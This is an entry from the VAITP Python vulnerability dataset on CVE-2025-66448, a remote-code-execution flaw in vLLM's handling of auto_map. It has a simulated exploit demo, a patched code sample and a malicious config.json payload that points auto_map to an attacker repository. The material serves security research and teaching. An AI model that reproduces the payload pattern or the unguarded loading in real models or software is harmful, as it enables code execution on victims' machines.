VAITP Dataset

← Back to the dataset

CVE-2025-66448

vLLM RCE via model config's auto_map, ignoring `trust_remote_code=False`.

  • CVSS 8.8
  • CWE-94
  • Design Defects
  • Remote

vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.11.1, vllm has a critical remote code execution vector in a config class named Nemotron_Nano_VL_Config. When vllm loads a model config that contains an auto_map entry, the config class resolves that mapping with get_class_from_dynamic_module(…) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the auto_map string. Crucially, this happens even when the caller explicitly sets trust_remote_code=False in vllm.transformers_utils.config.get_config. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via auto_map to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host. This vulnerability is fixed in 0.11.1.

CVSS base score
8.8
Published
2025-12-01
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Remote File Inclusion (RFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
vLLM
Fixed by upgrading
Yes

Solution

Upgrade to vLLM version 0.11.1.

Vulnerable code sample

import json
import importlib.util
import os
import sys
import shutil

# This script demonstrates the remote code execution vulnerability CVE-2025-66448
# as it existed in vLLM prior to version 0.11.1.
# It simulates the vulnerable code path and an exploit scenario.

# --- Attacker's Setup (Simulated) ---
# In a real attack, these files would be hosted on a platform like Hugging Face.
# 1. 'malicious_code.py' would be in a separate, malicious repository.
# 2. 'config.json' would be in a benign-looking "frontend" repository.

MALICIOUS_CODE_CONTENT = """
import os

print("[+] MALICIOUS MODULE: The 'malicious_code.py' module is being imported.")

class MaliciousModel:
    def __init__(self):
        # This code runs automatically when the class is instantiated by the vulnerable loader.
        print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
        print("!!! VULNERABILITY TRIGGERED: Remote Code Execution via __init__()      !!!")
        print("!!! An attacker's code is now running on the victim's machine.         !!!")
        print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
        
        # Example payload: create a file to prove code execution.
        file_to_create = "pwned_by_cve_2025_66448.txt"
        with open(file_to_create, "w") as f:
            f.write("This file was created by the CVE-2025-66448 exploit demonstration.\\n")
        print(f"[*] PAYLOAD EXECUTED: Created file '{file_to_create}' in the current directory.")

print("[+] MALICIOUS MODULE: Class 'MaliciousModel' has been defined.")
"""

CONFIG_JSON_CONTENT = """
{
  "model_type": "nemotron_nano_vl",
  "auto_map": {
    "AutoModel": "attacker_repo/malicious_code.py--MaliciousModel"
  },
  "other_config": "some_value"
}
"""

# --- Vulnerable Library Code (Simplified Representation of vLLM < 0.11.1) ---
# The following functions represent the flawed logic that allows the RCE.

def get_class_from_dynamic_module(identifier: str, module_path: str, **kwargs):
    """
    Simulates vLLM's ability to dynamically load a class from a file path.
    In the real library, this is more complex and involves fetching from remote repos.
    """
    print(f"[*] VULNERABLE FUNCTION: Loading class from '{identifier}' in module '{module_path}'.")
    
    # In a real scenario, 'module_path' would be a path to a downloaded remote file.
    # Here, we use a local file for the demonstration.
    module_name, class_name = identifier.split("--")

    spec = importlib.util.spec_from_file_location(module_name, module_path)
    if spec is None:
        raise ImportError(f"Could not load spec for module '{module_name}' from '{module_path}'")
    
    module = importlib.util.module_from_spec(spec)
    sys.modules[spec.name] = module
    spec.loader.exec_module(module)
    
    return getattr(module, class_name)


def get_config(model_name: str, trust_remote_code: bool):
    """
    Simulates the vulnerable config loading process in vLLM's `transformers_utils`.
    This function incorrectly processes `auto_map` regardless of the `trust_remote_code` setting.
    """
    print(f"\n[*] Calling vulnerable `get_config` for model '{model_name}' with `trust_remote_code={trust_remote_code}`.")
    
    # In a real scenario, this would download config.json from the model repo.
    # Here we just read our simulated local file.
    config_path = "config.json"
    with open(config_path, 'r') as f:
        config_dict = json.load(f)

    # THE VULNERABILITY
    # The code checks for 'auto_map' and immediately processes it, ignoring `trust_remote_code`.
    # A proper implementation should check `trust_remote_code` before processing `auto_map`.
    if "auto_map" in config_dict:
        print("[!] Found 'auto_map' in the configuration.")
        auto_map_value = config_dict["auto_map"].get("AutoModel")
        if auto_map_value:
            print(f"[!] 'auto_map' points to a dynamic class: '{auto_map_value}'")
            print("[!] CRITICAL FLAW: Proceeding to load remote code even though `trust_remote_code` is False.")

            # Simulate parsing the "repo/file.py--ClassName" string.
            repo_path, identifier = auto_map_value.split('/')
            # For this demo, the filename is extracted directly.
            malicious_file = identifier.split('--')[0]
            
            # Dynamically import the class from the specified file.
            model_class = get_class_from_dynamic_module(identifier, malicious_file)
            
            # Immediately instantiate the class, triggering the code in its __init__ method.
            # This is the moment the remote code execution occurs.
            print(f"[*] Instantiating the dynamically loaded class '{model_class.__name__}'...")
            _ = model_class() # RCE is triggered here.
            
    print("[*] `get_config` processing finished.")


# --- Exploit Demonstration ---

if __name__ == "__main__":
    print("--- CVE-2025-66448: vLLM Remote Code Execution Demonstration ---")

    # 1. Set up the simulated attacker environment
    malicious_filename = "malicious_code.py"
    config_filename = "config.json"
    pwned_file = "pwned_by_cve_2025_66448.txt"
    
    with open(malicious_filename, "w") as f:
        f.write(MALICIOUS_CODE_CONTENT)
    with open(config_filename, "w") as f:
        f.write(CONFIG_JSON_CONTENT)
    
    print(f"[+] Created simulated attacker files: '{malicious_filename}' and '{config_filename}'.")
    
    # 2. Run the vulnerable code path
    # A victim would unknowingly run this by trying to load a seemingly benign model.
    # We explicitly set `trust_remote_code=False` to show it has no effect.
    try:
        get_config(model_name="attacker/benign-looking-model", trust_remote_code=False)
    except Exception as e:
        print(f"[ERROR] An exception occurred during the exploit attempt: {e}")

    # 3. Verify the result of the exploit
    print("\n--- Verification ---")
    if os.path.exists(pwned_file):
        print(f"[SUCCESS] Exploit successful! Malicious file '{pwned_file}' was created.")
        with open(pwned_file, 'r') as f:
            print(f"    Content: '{f.read().strip()}'")
    else:
        print(f"[FAILURE] Exploit did not succeed. File '{pwned_file}' was not found.")

    # 4. Cleanup the created files
    print("\n--- Cleanup ---")
    for file_path in [malicious_filename, config_filename, pwned_file]:
        if os.path.exists(file_path):
            os.remove(file_path)
            print(f"[*] Removed '{file_path}'.")
    if os.path.exists("__pycache__"):
        shutil.rmtree("__pycache__")
        print("[*] Removed '__pycache__' directory.")

Patched code sample

import sys
from io import StringIO
from unittest.mock import patch

# This code represents a fix for a vulnerability pattern described in the
# hypothetical CVE-2025-66448. The vulnerability lies in unconditionally
# processing an `auto_map` entry from a model's configuration, leading to
# remote code execution even when `trust_remote_code=False`.

# The fix involves ensuring the `trust_remote_code` flag is respected before
# any attempt to dynamically load modules from a remote source.

# --- Start of Representative Code Fix ---

# Assume these are base classes and utilities from a library like transformers
class PretrainedConfig:
    def __init__(self, name_or_path=None, auto_map=None, **kwargs):
        self.name_or_path = name_or_path
        self.auto_map = auto_map
        # In a real scenario, all kwargs are processed and set as attributes.
        for key, value in kwargs.items():
            setattr(self, key, value)

def get_class_from_dynamic_module(class_ref, pretrained_model_name_or_path, **kwargs):
    """
    A mock function representing the utility that dynamically loads remote code.
    In a real-world scenario, this function would download and import a Python
    file from a Hugging Face Hub repository, which executes any code at the
    module's top level.
    """
    repo_id, class_name = class_ref.split(".")
    print(
        f"--- SIMULATING DANGEROUS ACTION ---\n"
        f"Dynamically loading module from remote repo: '{repo_id}'\n"
        f"This would execute code on the host machine.\n"
        f"--- END SIMULATION ---"
    )
    # This class represents the object returned after dynamic loading.
    class DummyRemoteClass:
        def __init__(self):
            print(f"Instantiating remote class '{class_name}'")
    return DummyRemoteClass


# Vulnerable Class (for context, not part of the final fixed code)
# class Vulnerable_Nemotron_Nano_VL_Config(PretrainedConfig):
#     def __init__(self, **kwargs):
#         super().__init__(**kwargs)
#         if self.auto_map and "AutoModel" in self.auto_map:
#             # VULNERABILITY: Immediately resolves and instantiates the class
#             # without checking any trust flag. `trust_remote_code` passed
#             # to a loading function would be ignored here.
#             model_class = get_class_from_dynamic_module(
#                 self.auto_map["AutoModel"], self.name_or_path, **kwargs
#             )
#             model_class()


# Fixed Class
class Nemotron_Nano_VL_Config(PretrainedConfig):
    """
    This represents the fixed version of the configuration class.
    """
    model_type = "nemotron_nano_vl"

    def __init__(self, trust_remote_code=False, **kwargs):
        """
        The fixed constructor.

        Args:
            trust_remote_code (bool): This flag is now explicitly accepted and
                checked before processing any `auto_map` configuration.
            **kwargs: Additional model configuration parameters.
        """
        # Retrieve the auto_map dictionary from the configuration arguments.
        auto_map_dict = kwargs.get("auto_map", {})

        # --- THE FIX ---
        # The `trust_remote_code` flag is checked *before* any processing that could
        # lead to code execution. If `auto_map` is present (indicating a request
        # for dynamic module loading) and remote code is not explicitly trusted,
        # an error is raised to halt the operation.
        if auto_map_dict and not trust_remote_code:
            raise ValueError(
                f"The config for {kwargs.get('name_or_path', 'this model')} specifies "
                f"`auto_map`, which requires executing remote code. To allow this, "
                f"pass `trust_remote_code=True`."
            )
        
        # The parent constructor is called with the original arguments.
        super().__init__(**kwargs)

        # In the fixed version, any logic that would trigger remote code execution
        # is either removed from the constructor or guarded by the `trust_remote_code` flag.
        # Here, we demonstrate the guarded approach, where the dangerous operation
        # only proceeds if the flag was explicitly set to True.
        if trust_remote_code and self.auto_map and "AutoModel" in self.auto_map:
            # The dangerous call to fetch and execute remote code is now
            # safely contained within this conditional block.
            model_class = get_class_from_dynamic_module(
                self.auto_map["AutoModel"], self.name_or_path, **kwargs
            )
            # The CVE also mentions immediate instantiation. This would also
            # happen only inside this guarded block.
            model_class()

# --- End of Representative Code Fix ---

Payload

{
  "_name_or_path": "benign-org/seemingly-safe-model",
  "architectures": [
    "Nemotron_Nano_VL_Config"
  ],
  "model_type": "nemotron_nano_vl",
  "auto_map": {
    "Nemotron_Nano_VL_Config": "attacker-repo/malicious-code.exploit.Payload"
  }
}

Cite this entry

@misc{vaitp:cve202566448,
  title        = {{vLLM RCE via model config's auto_map, ignoring `trust_remote_code=False`.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-66448},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66448/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::